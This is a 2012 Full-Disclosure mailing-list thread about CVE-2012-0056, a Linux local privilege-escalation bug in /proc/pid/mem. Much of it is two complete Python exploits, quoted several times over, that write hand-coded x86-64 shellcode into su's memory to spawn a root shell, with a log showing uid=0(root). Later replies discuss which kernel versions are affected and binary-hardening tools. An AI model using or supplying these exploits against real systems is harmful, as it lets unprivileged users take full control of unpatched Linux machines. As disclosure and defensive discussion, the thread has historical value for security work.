http://webcache.googleusercontent.com/search?hl=ensafe=offbiw=1009bih=687sclient=psy-abq=cache%3Ahttp%3A%2F%2Fblog.zx2c4.com%2F749pbx=1oq=cache%3Ahttp%3A%2F%2Fblog.zx2c4.com%2F749aq=faqi=g4aql=gs_sm=egs_upl=1077l2167l0l2282l7l4l0l0l0l0l148l403l2.2l4l0

On Sun, Jan 22, 2012 at 19:19, Jason A. Donenfeld ja...@zx2c4.com wrote:

 Hey Everyone,

 I did a detailed write-up on exploiting CVE-2012-0056 that some of
 y'all might appreciate. Pretty fun bug to play with -- dup2ing all
 over the place for the prize of getting to write arbitrary process
 memory into su :-).

 The write up is available on my blog here: http://blog.zx2c4.com/749 . Enjoy.

 Jason

___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

Re: [Full-disclosure] Linux Local Root -- CVE-2012-0056 -- Detailed Write-up

[Jason A. Donenfeld]

NICE! Well, I guess posting that blog post defeated the point of not
publishing. :-D

So, here's my code:
  http://git.zx2c4.com/CVE-2012-0056/tree/mempodipper.c

I wrote the shellcode by hand too, and you can grab the 32 and 64 bit
versions from that same tree.

Have fun.



BTW, before I'm asked, the reason why I don't hard code 12 for the
length of the su error string is that it's different on different
distros.

On Mon, Jan 23, 2012 at 02:14, sd s...@fucksheep.org wrote:
 2012/1/23 Jason A. Donenfeld ja...@zx2c4.com:
 Server presently DoS'd, or dreamhost is tweaking again.

 boring tl;dr - don't play kaminsky on us :)

 #!/usr/bin/python
 # CVE-2012-0056 amd64
 # s...@fucksheep.org
 #
 # hg clone https://code.google.com/p/python-passfd
 # cd python-passfd; ./setup.py build_ext --inplace; cd src
 # mv ~/hurrdurr.py .
 # ./hurrdurr.py `objdump -d /bin/su|grep 'exit@plt'|head -n 1|cut -d '
 ' -f 1|sed 's/^[0]*\([^0]*\)/0x\1/'`
 from socket import *
 from passfd import *
 from os import *
 from socket import *
 from sys import *
 from time import *
 if argv[-1]=='hax':
        sk=int(argv[1])
        fd=open(/proc/%d/mem%getppid(),O_WRONLY)
        lseek(fd,int(argv[2].split('x')[-1],16)-12,0)
        sendfd(sk,fd)
        sleep(1)
 else:
        a,b=socketpair()
        if not fork():
                execl(/usr/bin/python,python,
                      __file__,str(a.fileno()),argv[1],'hax')
        dup2(recvfd(b)[0],2)
        execl(/bin/su,su,\x48\x31\xff\xb0\x69\x0f\x05\x48\x31\xd2+
                \x48\xbb\xff\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb+
                \x08\x53\x48\x89\xe7\x48\x31\xc0\x50\x57\x48\x89\xe6+
                \xb0\x3b\x0f\x05\x6a\x01\x5f\x6a\x3c\x58\x0f\x05);

 --
 ./hurrdurr.py `objdump -d /bin/su|grep 'exit@plt'|head -n 1|cut -d ' '
 -f 1|sed 's/^[0]*\([^0]*\)/0x\1/'`
 id
 uid=0(root) gid=1000(sd)
 groups=0(root),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),104(scanner),110(netdev),125(lastfm),1000(sd)

___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

Re: [Full-disclosure] Linux Local Root -- CVE-2012-0056 -- Detailed Write-up

[sd]

2012/1/23 Jason A. Donenfeld ja...@zx2c4.com:
 NICE! Well, I guess posting that blog post defeated the point of not
 publishing. :-D

Thanks for compliance with first full-disclosure famwhoring rule:
always post warez to make kids happy! :)

On a related note, here goes my private version which relaxes the
rules regarding file permissions on /bin/su (ie not world readable).
This is to point out you can just overwrite 8kb of .text (default
stderr buffer, more is possible, but without mere nops) instead of
juggling with objdump.

!/usr/bin/python
# CVE-2012-0056 amd64
# s...@fucksheep.org
#
# hg clone https://code.google.com/p/python-passfd
# cd python-passfd; ./setup.py build_ext --inplace; cd src
# mv ~/hurrdurr.py .
# ./hurrdurr.py
from socket import *
from passfd import *
from os import *
from socket import *
from sys import *
if argv[-1]=='hax':
sk=int(argv[1])
fd=open(/proc/%d/mem%getppid(),O_WRONLY)
lseek(fd,0x401000,0)
sendfd(sk,fd)
else:
a,b=socketpair()
if not fork():
execl(/usr/bin/python,python,
  __file__,str(a.fileno()),'hax')
dup2(recvfd(b)[0],2)

execl(/bin/su,su,(\x90*8000)+\x48\x31\xff\xb0\x69\x0f\x05\x48\x31\xd2+
\x48\xbb\xff\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb+
\x08\x53\x48\x89\xe7\x48\x31\xc0\x50\x57\x48\x89\xe6+
\xb0\x3b\x0f\x05\x6a\x01\x5f\x6a\x3c\x58\x0f\x05);




 So, here's my code:
  http://git.zx2c4.com/CVE-2012-0056/tree/mempodipper.c

 I wrote the shellcode by hand too, and you can grab the 32 and 64 bit
 versions from that same tree.

 Have fun.



 BTW, before I'm asked, the reason why I don't hard code 12 for the
 length of the su error string is that it's different on different
 distros.

 On Mon, Jan 23, 2012 at 02:14, sd s...@fucksheep.org wrote:
 2012/1/23 Jason A. Donenfeld ja...@zx2c4.com:
 Server presently DoS'd, or dreamhost is tweaking again.

 boring tl;dr - don't play kaminsky on us :)

 #!/usr/bin/python
 # CVE-2012-0056 amd64
 # s...@fucksheep.org
 #
 # hg clone https://code.google.com/p/python-passfd
 # cd python-passfd; ./setup.py build_ext --inplace; cd src
 # mv ~/hurrdurr.py .
 # ./hurrdurr.py `objdump -d /bin/su|grep 'exit@plt'|head -n 1|cut -d '
 ' -f 1|sed 's/^[0]*\([^0]*\)/0x\1/'`
 from socket import *
 from passfd import *
 from os import *
 from socket import *
 from sys import *
 from time import *
 if argv[-1]=='hax':
        sk=int(argv[1])
        fd=open(/proc/%d/mem%getppid(),O_WRONLY)
        lseek(fd,int(argv[2].split('x')[-1],16)-12,0)
        sendfd(sk,fd)
        sleep(1)
 else:
        a,b=socketpair()
        if not fork():
                execl(/usr/bin/python,python,
                      __file__,str(a.fileno()),argv[1],'hax')
        dup2(recvfd(b)[0],2)
        execl(/bin/su,su,\x48\x31\xff\xb0\x69\x0f\x05\x48\x31\xd2+
                \x48\xbb\xff\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb+
                \x08\x53\x48\x89\xe7\x48\x31\xc0\x50\x57\x48\x89\xe6+
                \xb0\x3b\x0f\x05\x6a\x01\x5f\x6a\x3c\x58\x0f\x05);

 --
 ./hurrdurr.py `objdump -d /bin/su|grep 'exit@plt'|head -n 1|cut -d ' '
 -f 1|sed 's/^[0]*\([^0]*\)/0x\1/'`
 id
 uid=0(root) gid=1000(sd)
 groups=0(root),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),104(scanner),110(netdev),125(lastfm),1000(sd)
#!/usr/bin/python
# CVE-2012-0056 amd64
# s...@fucksheep.org
#
# hg clone https://code.google.com/p/python-passfd
# cd python-passfd; ./setup.py build_ext --inplace; cd src
# mv ~/hurrdurr.py .
# ./hurrdurr.py
from socket import *
from passfd import *
from os import *
from socket import *
from sys import *
if argv[-1]=='hax':
	sk=int(argv[1])
	fd=open(/proc/%d/mem%getppid(),O_WRONLY)
	lseek(fd,0x401000,0)
	sendfd(sk,fd)
else:
	a,b=socketpair()
	if not fork():
		execl(/usr/bin/python,python,
		  __file__,str(a.fileno()),'hax')
	dup2(recvfd(b)[0],2)
	execl(/bin/su,su,(\x90*8000)+\x48\x31\xff\xb0\x69\x0f\x05\x48\x31\xd2+
		\x48\xbb\xff\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb+
		\x08\x53\x48\x89\xe7\x48\x31\xc0\x50\x57\x48\x89\xe6+
		\xb0\x3b\x0f\x05\x6a\x01\x5f\x6a\x3c\x58\x0f\x05);

___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

Re: [Full-disclosure] Linux Local Root -- CVE-2012-0056 -- Detailed Write-up

[Jason A. Donenfeld]

Well done; that's a nice trick. Not really a fan of spraying like
that (for irrational 'aesthetic' bullshitty reasons), but this is
quite nice. Still though, you have the lseek offset in there, which is
different for different executables.

I'm sure there's a way to determine this without read access though --
ptrace, for example, will make a suid binary loose its suidness, but
you could then (I think?) inquire about memory locations and maps.
Once you have the info you need, then you run su normally sans
ptracing in the exploit. Not sure if this works or not. I think there
are a few other similar things you can do when running suid code that
will make it loose suidness, and also a variety of inspection
techniques.

On Mon, Jan 23, 2012 at 03:46, sd s...@fucksheep.org wrote:
 2012/1/23 Jason A. Donenfeld ja...@zx2c4.com:
 NICE! Well, I guess posting that blog post defeated the point of not
 publishing. :-D

 Thanks for compliance with first full-disclosure famwhoring rule:
 always post warez to make kids happy! :)

 On a related note, here goes my private version which relaxes the
 rules regarding file permissions on /bin/su (ie not world readable).
 This is to point out you can just overwrite 8kb of .text (default
 stderr buffer, more is possible, but without mere nops) instead of
 juggling with objdump.

 !/usr/bin/python
 # CVE-2012-0056 amd64
 # s...@fucksheep.org
 #
 # hg clone https://code.google.com/p/python-passfd
 # cd python-passfd; ./setup.py build_ext --inplace; cd src
 # mv ~/hurrdurr.py .
 # ./hurrdurr.py
 from socket import *
 from passfd import *
 from os import *
 from socket import *
 from sys import *
 if argv[-1]=='hax':
        sk=int(argv[1])
        fd=open(/proc/%d/mem%getppid(),O_WRONLY)
        lseek(fd,0x401000,0)
        sendfd(sk,fd)
 else:
        a,b=socketpair()
        if not fork():
                execl(/usr/bin/python,python,
                      __file__,str(a.fileno()),'hax')
        dup2(recvfd(b)[0],2)
        
 execl(/bin/su,su,(\x90*8000)+\x48\x31\xff\xb0\x69\x0f\x05\x48\x31\xd2+
                \x48\xbb\xff\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb+
                \x08\x53\x48\x89\xe7\x48\x31\xc0\x50\x57\x48\x89\xe6+
                \xb0\x3b\x0f\x05\x6a\x01\x5f\x6a\x3c\x58\x0f\x05);




 So, here's my code:
  http://git.zx2c4.com/CVE-2012-0056/tree/mempodipper.c

 I wrote the shellcode by hand too, and you can grab the 32 and 64 bit
 versions from that same tree.

 Have fun.



 BTW, before I'm asked, the reason why I don't hard code 12 for the
 length of the su error string is that it's different on different
 distros.

 On Mon, Jan 23, 2012 at 02:14, sd s...@fucksheep.org wrote:
 2012/1/23 Jason A. Donenfeld ja...@zx2c4.com:
 Server presently DoS'd, or dreamhost is tweaking again.

 boring tl;dr - don't play kaminsky on us :)

 #!/usr/bin/python
 # CVE-2012-0056 amd64
 # s...@fucksheep.org
 #
 # hg clone https://code.google.com/p/python-passfd
 # cd python-passfd; ./setup.py build_ext --inplace; cd src
 # mv ~/hurrdurr.py .
 # ./hurrdurr.py `objdump -d /bin/su|grep 'exit@plt'|head -n 1|cut -d '
 ' -f 1|sed 's/^[0]*\([^0]*\)/0x\1/'`
 from socket import *
 from passfd import *
 from os import *
 from socket import *
 from sys import *
 from time import *
 if argv[-1]=='hax':
        sk=int(argv[1])
        fd=open(/proc/%d/mem%getppid(),O_WRONLY)
        lseek(fd,int(argv[2].split('x')[-1],16)-12,0)
        sendfd(sk,fd)
        sleep(1)
 else:
        a,b=socketpair()
        if not fork():
                execl(/usr/bin/python,python,
                      __file__,str(a.fileno()),argv[1],'hax')
        dup2(recvfd(b)[0],2)
        execl(/bin/su,su,\x48\x31\xff\xb0\x69\x0f\x05\x48\x31\xd2+
                \x48\xbb\xff\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb+
                \x08\x53\x48\x89\xe7\x48\x31\xc0\x50\x57\x48\x89\xe6+
                \xb0\x3b\x0f\x05\x6a\x01\x5f\x6a\x3c\x58\x0f\x05);

 --
 ./hurrdurr.py `objdump -d /bin/su|grep 'exit@plt'|head -n 1|cut -d ' '
 -f 1|sed 's/^[0]*\([^0]*\)/0x\1/'`
 id
 uid=0(root) gid=1000(sd)
 groups=0(root),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),104(scanner),110(netdev),125(lastfm),1000(sd)

 ___
 Full-Disclosure - We believe in it.
 Charter: http://lists.grok.org.uk/full-disclosure-charter.html
 Hosted and sponsored by Secunia - http://secunia.com/

___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

Re: [Full-disclosure] Linux Local Root -- CVE-2012-0056 -- Detailed Write-up

[Jason A. Donenfeld]

Hey Mark,

For the longest time /proc/pid/mem writing was ifdef'd out. Then for
the 2.6.39 kernel release, they deemed that the work they'd been doing
to make the writing interface secure was strong enough, so they
included the ability to write [1]. So versions before 2.6.39 are not
vulnerable, and after it (until 3.3, I guess) are. Hope this
clarifies.

Jason

[1] 
http://git.kernel.org/?p=linux/kernel/git/torvalds/linux-2.6.git;a=commitdiff;h=198214a7

On Mon, Jan 23, 2012 at 04:09, mark cunningham
markcunninghamem...@gmail.com wrote:
 Hey great write up on the exploit, sorry for contacting you off list.
 From your post I gather it's only 2.6.39 that's vulnerable right?
 http://security-tracker.debian.org/tracker/CVE-2012-0056 is showing
 that lower versions are fixed and just not vulerable and I
 coulnd't get it to work with kernel 2.6.32, but figured maybe there
 was a chance it still worked for all of 2.6 as i see linus has
 commited it to 2.6

 Mark

 On Sun, Jan 22, 2012 at 6:19 PM, Jason A. Donenfeld ja...@zx2c4.com wrote:
 Hey Everyone,

 I did a detailed write-up on exploiting CVE-2012-0056 that some of
 y'all might appreciate. Pretty fun bug to play with -- dup2ing all
 over the place for the prize of getting to write arbitrary process
 memory into su :-).

 The write up is available on my blog here: http://blog.zx2c4.com/749 . Enjoy.

 Jason

 ___
 Full-Disclosure - We believe in it.
 Charter: http://lists.grok.org.uk/full-disclosure-charter.html
 Hosted and sponsored by Secunia - http://secunia.com/

___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

Re: [Full-disclosure] Linux Local Root -- CVE-2012-0056 -- Detailed Write-up

[Jeffrey Walton]

Good point about [lack of] compiler and linker hardening on the `su`
binary (and probably many others). Perhaps distributions should run
Checksec (http://www.trapkit.de/tools/checksec.html) on their
binaries.

On Sun, Jan 22, 2012 at 6:25 PM, Jason A. Donenfeld ja...@zx2c4.com wrote:
 Server presently DoS'd, or dreamhost is tweaking again.

 Cache link:

 http://webcache.googleusercontent.com/search?hl=ensafe=offbiw=1009bih=687sclient=psy-abq=cache%3Ahttp%3A%2F%2Fblog.zx2c4.com%2F749pbx=1oq=cache%3Ahttp%3A%2F%2Fblog.zx2c4.com%2F749aq=faqi=g4aql=gs_sm=egs_upl=1077l2167l0l2282l7l4l0l0l0l0l148l403l2.2l4l0

 On Sun, Jan 22, 2012 at 19:19, Jason A. Donenfeld ja...@zx2c4.com wrote:

 Hey Everyone,

 I did a detailed write-up on exploiting CVE-2012-0056 that some of
 y'all might appreciate. Pretty fun bug to play with -- dup2ing all
 over the place for the prize of getting to write arbitrary process
 memory into su :-).

 The write up is available on my blog here: http://blog.zx2c4.com/749 . Enjoy.

 Jason

___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

Re: [Full-disclosure] Linux Local Root -- CVE-2012-0056 -- Detailed Write-up

[Jason A. Donenfeld]

Never seen checksec. Cool.

As it turns out, Fedora seems to do a good job at compiling (all? not
sure) their suid executables with -pie.

On Mon, Jan 23, 2012 at 04:53, Jeffrey Walton noloa...@gmail.com wrote:
 Good point about [lack of] compiler and linker hardening on the `su`
 binary (and probably many others). Perhaps distributions should run
 Checksec (http://www.trapkit.de/tools/checksec.html) on their
 binaries.

 On Sun, Jan 22, 2012 at 6:25 PM, Jason A. Donenfeld ja...@zx2c4.com wrote:
 Server presently DoS'd, or dreamhost is tweaking again.

 Cache link:

 http://webcache.googleusercontent.com/search?hl=ensafe=offbiw=1009bih=687sclient=psy-abq=cache%3Ahttp%3A%2F%2Fblog.zx2c4.com%2F749pbx=1oq=cache%3Ahttp%3A%2F%2Fblog.zx2c4.com%2F749aq=faqi=g4aql=gs_sm=egs_upl=1077l2167l0l2282l7l4l0l0l0l0l148l403l2.2l4l0

 On Sun, Jan 22, 2012 at 19:19, Jason A. Donenfeld ja...@zx2c4.com wrote:

 Hey Everyone,

 I did a detailed write-up on exploiting CVE-2012-0056 that some of
 y'all might appreciate. Pretty fun bug to play with -- dup2ing all
 over the place for the prize of getting to write arbitrary process
 memory into su :-).

 The write up is available on my blog here: http://blog.zx2c4.com/749 . 
 Enjoy.

 Jason

___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

Re: [Full-disclosure] Linux Local Root -- CVE-2012-0056 -- Detailed Write-up

[Jeffrey Walton]

On Sun, Jan 22, 2012 at 10:55 PM, Jason A. Donenfeld ja...@zx2c4.com wrote:
 Never seen checksec. Cool.
Microsoft has a similar tool: BinScope
(https://www.microsoft.com/download/en/details.aspx?id=11910).

Compiler and linker hardening is a security gate for projects under my
purview. You can go a long way with just following the basics.

Jeff

 As it turns out, Fedora seems to do a good job at compiling (all? not
 sure) their suid executables with -pie.

 On Mon, Jan 23, 2012 at 04:53, Jeffrey Walton noloa...@gmail.com wrote:
 Good point about [lack of] compiler and linker hardening on the `su`
 binary (and probably many others). Perhaps distributions should run
 Checksec (http://www.trapkit.de/tools/checksec.html) on their
 binaries.

 On Sun, Jan 22, 2012 at 6:25 PM, Jason A. Donenfeld ja...@zx2c4.com wrote:
 Server presently DoS'd, or dreamhost is tweaking again.

 Cache link:

 http://webcache.googleusercontent.com/search?hl=ensafe=offbiw=1009bih=687sclient=psy-abq=cache%3Ahttp%3A%2F%2Fblog.zx2c4.com%2F749pbx=1oq=cache%3Ahttp%3A%2F%2Fblog.zx2c4.com%2F749aq=faqi=g4aql=gs_sm=egs_upl=1077l2167l0l2282l7l4l0l0l0l0l148l403l2.2l4l0

 On Sun, Jan 22, 2012 at 19:19, Jason A. Donenfeld ja...@zx2c4.com wrote:

 Hey Everyone,

 I did a detailed write-up on exploiting CVE-2012-0056 that some of
 y'all might appreciate. Pretty fun bug to play with -- dup2ing all
 over the place for the prize of getting to write arbitrary process
 memory into su :-).

 The write up is available on my blog here: http://blog.zx2c4.com/749 . 
 Enjoy.

 Jason

___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/